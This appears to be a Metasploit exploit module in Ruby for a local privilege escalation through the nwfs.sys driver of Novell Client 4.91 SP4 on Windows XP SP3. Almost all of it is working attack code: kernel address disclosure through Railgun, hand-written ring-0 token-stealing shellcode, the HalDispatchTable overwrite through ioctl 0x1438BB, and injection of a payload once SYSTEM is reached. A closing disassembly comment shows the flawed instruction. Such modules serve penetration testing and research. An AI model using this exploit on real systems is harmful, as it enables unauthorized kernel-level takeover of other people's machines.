343 lines
13 KiB
Ruby
343 lines
13 KiB
Ruby
##
|
||
# This module requires Metasploit: http//metasploit.com/download
|
||
# Current source: https://github.com/rapid7/metasploit-framework
|
||
##
|
||
|
||
require 'msf/core'
|
||
require 'rex'
|
||
|
||
class Metasploit3 < Msf::Exploit::Local
|
||
Rank = AverageRanking
|
||
|
||
include Msf::Post::Windows::Priv
|
||
include Msf::Post::Windows::Process
|
||
|
||
def initialize(info={})
|
||
super(update_info(info, {
|
||
'Name' => 'Novell Client 4.91 SP4 nwfs.sys Local Privilege Escalation',
|
||
'Description' => %q{
|
||
This module exploits a flaw in the nwfs.sys driver to overwrite data in kernel
|
||
space. The corruption occurs while handling ioctl requests with code 0x1438BB,
|
||
where a 0x00000009 dword is written to an arbitrary address. An entry within the
|
||
HalDispatchTable is overwritten in order to execute arbitrary code when
|
||
NtQueryIntervalProfile is called. The module has been tested successfully on
|
||
Windows XP SP3 with Novell Client 4.91 SP4.
|
||
},
|
||
'License' => MSF_LICENSE,
|
||
'Author' =>
|
||
[
|
||
'Ruben Santamarta', # Vulnerability discovery and PoC
|
||
'juan vazquez' # MSF module
|
||
],
|
||
'Arch' => ARCH_X86,
|
||
'Platform' => 'win',
|
||
'SessionTypes' => [ 'meterpreter' ],
|
||
'DefaultOptions' =>
|
||
{
|
||
'EXITFUNC' => 'thread',
|
||
},
|
||
'Targets' =>
|
||
[
|
||
# Tested with nwfs.sys 4.91.4.7 as installed with Novell Client 4.91 SP4
|
||
[ 'Automatic', { } ],
|
||
[ 'Windows XP SP3',
|
||
{
|
||
'HaliQuerySystemInfo' => 0x16bba, # Stable over Windows XP SP3 updates
|
||
'_KPROCESS' => "\x44", # Offset to _KPROCESS from a _ETHREAD struct
|
||
'_TOKEN' => "\xc8", # Offset to TOKEN from the _EPROCESS struct
|
||
'_UPID' => "\x84", # Offset to UniqueProcessId FROM the _EPROCESS struct
|
||
'_APLINKS' => "\x88" # Offset to ActiveProcessLinks _EPROCESS struct
|
||
}
|
||
]
|
||
],
|
||
'References' =>
|
||
[
|
||
[ 'OSVDB', '46578' ],
|
||
[ 'BID', '30001' ],
|
||
[ 'URL', 'http://support.novell.com/docs/Readmes/InfoDocument/patchbuilder/readme_5028543.html' ]
|
||
],
|
||
'DisclosureDate'=> 'Jun 26 2008',
|
||
'DefaultTarget' => 0
|
||
}))
|
||
|
||
end
|
||
|
||
def add_railgun_functions
|
||
session.railgun.add_dll('psapi') if not session.railgun.dlls.keys.include?('psapi')
|
||
session.railgun.add_function(
|
||
'psapi',
|
||
'EnumDeviceDrivers',
|
||
'BOOL',
|
||
[
|
||
["PBLOB", "lpImageBase", "out"],
|
||
["DWORD", "cb", "in"],
|
||
["PDWORD", "lpcbNeeded", "out"]
|
||
])
|
||
session.railgun.add_function(
|
||
'psapi',
|
||
'GetDeviceDriverBaseNameA',
|
||
'DWORD',
|
||
[
|
||
["LPVOID", "ImageBase", "in"],
|
||
["PBLOB", "lpBaseName", "out"],
|
||
["DWORD", "nSize", "in"]
|
||
])
|
||
end
|
||
|
||
def open_device(dev)
|
||
|
||
invalid_handle_value = 0xFFFFFFFF
|
||
|
||
r = session.railgun.kernel32.CreateFileA(dev, "GENERIC_READ", 0x3, nil, "OPEN_EXISTING", "FILE_ATTRIBUTE_READONLY", 0)
|
||
|
||
handle = r['return']
|
||
|
||
if handle == invalid_handle_value
|
||
return nil
|
||
end
|
||
|
||
return handle
|
||
end
|
||
|
||
def find_sys_base(drvname)
|
||
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
|
||
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("L*")
|
||
|
||
addresses.each do |address|
|
||
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
|
||
current_drvname = results['lpBaseName'][0..results['return'] - 1]
|
||
if drvname == nil
|
||
if current_drvname.downcase.include?('krnl')
|
||
return [address, current_drvname]
|
||
end
|
||
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
|
||
return [address, current_drvname]
|
||
end
|
||
end
|
||
|
||
return nil
|
||
end
|
||
|
||
def ring0_shellcode(t)
|
||
restore_ptrs = "\x31\xc0" # xor eax, eax
|
||
restore_ptrs << "\xb8" + [ @addresses["HaliQuerySystemInfo"] ].pack("L") # mov eax, offset hal!HaliQuerySystemInformation
|
||
restore_ptrs << "\xa3" + [ @addresses["halDispatchTable"] + 4 ].pack("L") # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||
|
||
tokenstealing = "\x52" # push edx # Save edx on the stack
|
||
tokenstealing << "\x53" # push ebx # Save ebx on the stack
|
||
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
|
||
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
|
||
tokenstealing << "\x8b\x40" + t['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
|
||
tokenstealing << "\x8b\xc8" # mov ecx, eax
|
||
tokenstealing << "\x8b\x98" + t['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
|
||
tokenstealing << "\x8b\x80" + t['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
|
||
tokenstealing << "\x81\xe8" + t['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
|
||
tokenstealing << "\x81\xb8" + t['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
|
||
tokenstealing << "\x75\xe8" # jne 0000101e ======================
|
||
tokenstealing << "\x8b\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
|
||
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
|
||
tokenstealing << "\x89\x90" + t['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
|
||
tokenstealing << "\x5b" # pop ebx # Restores ebx
|
||
tokenstealing << "\x5a" # pop edx # Restores edx
|
||
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
|
||
|
||
ring0_shellcode = restore_ptrs + tokenstealing
|
||
return ring0_shellcode
|
||
end
|
||
|
||
def fill_memory(proc, address, length, content)
|
||
|
||
result = session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
|
||
|
||
if not proc.memory.writable?(address)
|
||
vprint_error("Failed to allocate memory")
|
||
return nil
|
||
else
|
||
vprint_good("#{address} is now writable")
|
||
end
|
||
|
||
result = proc.memory.write(address, content)
|
||
|
||
if result.nil?
|
||
vprint_error("Failed to write contents to memory")
|
||
return nil
|
||
else
|
||
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
|
||
end
|
||
|
||
return address
|
||
end
|
||
|
||
def disclose_addresses(t)
|
||
addresses = {}
|
||
|
||
vprint_status("Getting the Kernel module name...")
|
||
kernel_info = find_sys_base(nil)
|
||
if kernel_info.nil?
|
||
vprint_error("Failed to disclose the Kernel module name")
|
||
return nil
|
||
end
|
||
vprint_good("Kernel module found: #{kernel_info[1]}")
|
||
|
||
vprint_status("Getting a Kernel handle...")
|
||
kernel32_handle = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
|
||
kernel32_handle = kernel32_handle['return']
|
||
if kernel32_handle == 0
|
||
vprint_error("Failed to get a Kernel handle")
|
||
return nil
|
||
end
|
||
vprint_good("Kernel handle acquired")
|
||
|
||
|
||
vprint_status("Disclosing the HalDispatchTable...")
|
||
hal_dispatch_table = session.railgun.kernel32.GetProcAddress(kernel32_handle, "HalDispatchTable")
|
||
hal_dispatch_table = hal_dispatch_table['return']
|
||
if hal_dispatch_table == 0
|
||
vprint_error("Failed to disclose the HalDispatchTable")
|
||
return nil
|
||
end
|
||
hal_dispatch_table -= kernel32_handle
|
||
hal_dispatch_table += kernel_info[0]
|
||
addresses["halDispatchTable"] = hal_dispatch_table
|
||
vprint_good("HalDispatchTable found at 0x#{addresses["halDispatchTable"].to_s(16)}")
|
||
|
||
vprint_status("Getting the hal.dll Base Address...")
|
||
hal_info = find_sys_base("hal.dll")
|
||
if hal_info.nil?
|
||
vprint_error("Failed to disclose hal.dll Base Address")
|
||
return nil
|
||
end
|
||
hal_base = hal_info[0]
|
||
vprint_good("hal.dll Base Address disclosed at 0x#{hal_base.to_s(16)}")
|
||
|
||
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
|
||
addresses["HaliQuerySystemInfo"] = hali_query_system_information
|
||
|
||
vprint_good("HaliQuerySystemInfo Address disclosed at 0x#{addresses["HaliQuerySystemInfo"].to_s(16)}")
|
||
return addresses
|
||
end
|
||
|
||
|
||
def exploit
|
||
|
||
vprint_status("Adding the railgun stuff...")
|
||
add_railgun_functions
|
||
|
||
if sysinfo["Architecture"] =~ /wow64/i
|
||
fail_with(Failure::NoTarget, "Running against WOW64 is not supported")
|
||
elsif sysinfo["Architecture"] =~ /x64/
|
||
fail_with(Failure::NoTarget, "Running against 64-bit systems is not supported")
|
||
end
|
||
|
||
my_target = nil
|
||
if target.name =~ /Automatic/
|
||
print_status("Detecting the target system...")
|
||
os = sysinfo["OS"]
|
||
print_status("#{os.inspect}")
|
||
if os =~ /windows xp/i
|
||
my_target = targets[1]
|
||
print_status("Running against #{my_target.name}")
|
||
end
|
||
else
|
||
my_target = target
|
||
end
|
||
|
||
if my_target.nil?
|
||
fail_with(Failure::NoTarget, "Remote system not detected as target, select the target manually")
|
||
end
|
||
|
||
print_status("Checking device...")
|
||
handle = open_device("\\\\.\\nwfs")
|
||
if handle.nil?
|
||
fail_with(Failure::NoTarget, "\\\\.\\nwfs device not found")
|
||
else
|
||
print_good("\\\\.\\nwfs found!")
|
||
end
|
||
|
||
print_status("Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...")
|
||
@addresses = disclose_addresses(my_target)
|
||
if @addresses.nil?
|
||
session.railgun.kernel32.CloseHandle(handle)
|
||
fail_with(Failure::Unknown, "Filed to disclose necessary addresses for exploitation. Aborting.")
|
||
else
|
||
print_good("Addresses successfully disclosed.")
|
||
end
|
||
|
||
|
||
print_status("Storing the kernel stager on memory...")
|
||
this_proc = session.sys.process.open
|
||
kernel_shell = ring0_shellcode(my_target)
|
||
kernel_shell_address = 0x1000
|
||
result = fill_memory(this_proc, kernel_shell_address, 0x1000, kernel_shell)
|
||
if result.nil?
|
||
session.railgun.kernel32.CloseHandle(handle)
|
||
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
|
||
else
|
||
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
|
||
end
|
||
|
||
print_status("Storing the trampoline to the kernel stager on memory...")
|
||
trampoline = "\x90" * 0x20 # nops
|
||
trampoline << "\x68" # push opcode
|
||
trampoline << [0x1000].pack("V") # address to push
|
||
trampoline << "\xc3" # ret
|
||
trampoline_addr = 0x3
|
||
result = fill_memory(this_proc, trampoline_addr, 0x1000, trampoline)
|
||
if result.nil?
|
||
session.railgun.kernel32.CloseHandle(handle)
|
||
fail_with(Failure::Unknown, "Error while storing trampoline on memory")
|
||
else
|
||
print_good("Trampoline successfully stored at 0x#{trampoline_addr.to_s(16)}")
|
||
end
|
||
|
||
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
|
||
magic_ioctl = 0x1438BB
|
||
ioctl = session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, magic_ioctl, @addresses["halDispatchTable"] + 0x4, 0x10, 0, 0)
|
||
session.railgun.kernel32.CloseHandle(handle)
|
||
|
||
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
|
||
result = session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
|
||
|
||
print_status("Checking privileges after exploitation...")
|
||
|
||
if not is_system?
|
||
fail_with(Failure::Unknown, "The exploitation wasn't successful")
|
||
else
|
||
print_good("Exploitation successful!")
|
||
end
|
||
|
||
p = payload.encoded
|
||
print_status("Injecting #{p.length.to_s} bytes to memory and executing it...")
|
||
if execute_shellcode(p)
|
||
print_good("Enjoy")
|
||
else
|
||
fail_with(Failure::Unknown, "Error while executing the payload")
|
||
end
|
||
|
||
end
|
||
|
||
end
|
||
|
||
=begin
|
||
|
||
[*] Corruption
|
||
|
||
.text:0005512E sub_5512E proc near ; CODE XREF: ioctl_handler_sub_2FE4C+295p
|
||
.text:0005512E ; sub_405C4+29Bp
|
||
.text:0005512E
|
||
.text:0005512E ms_exc = CPPEH_RECORD ptr -18h
|
||
.text:0005512E arg_0 = dword ptr 8
|
||
.text:0005512E
|
||
.text:0005512E push 8
|
||
.text:00055130 push offset stru_79268
|
||
.text:00055135 call __SEH_prolog
|
||
.text:0005513A xor eax, eax
|
||
.text:0005513C mov ecx, [ebp+arg_0]
|
||
.text:0005513F mov ecx, [ecx+0Ch]
|
||
.text:00055142 mov ecx, [ecx+60h]
|
||
.text:00055145 mov ecx, [ecx+10h]
|
||
.text:00055148 mov [ebp+ms_exc.registration.TryLevel], eax
|
||
.text:0005514B mov dword ptr [ecx], 9 // Corruption
|
||
|
||
=end
|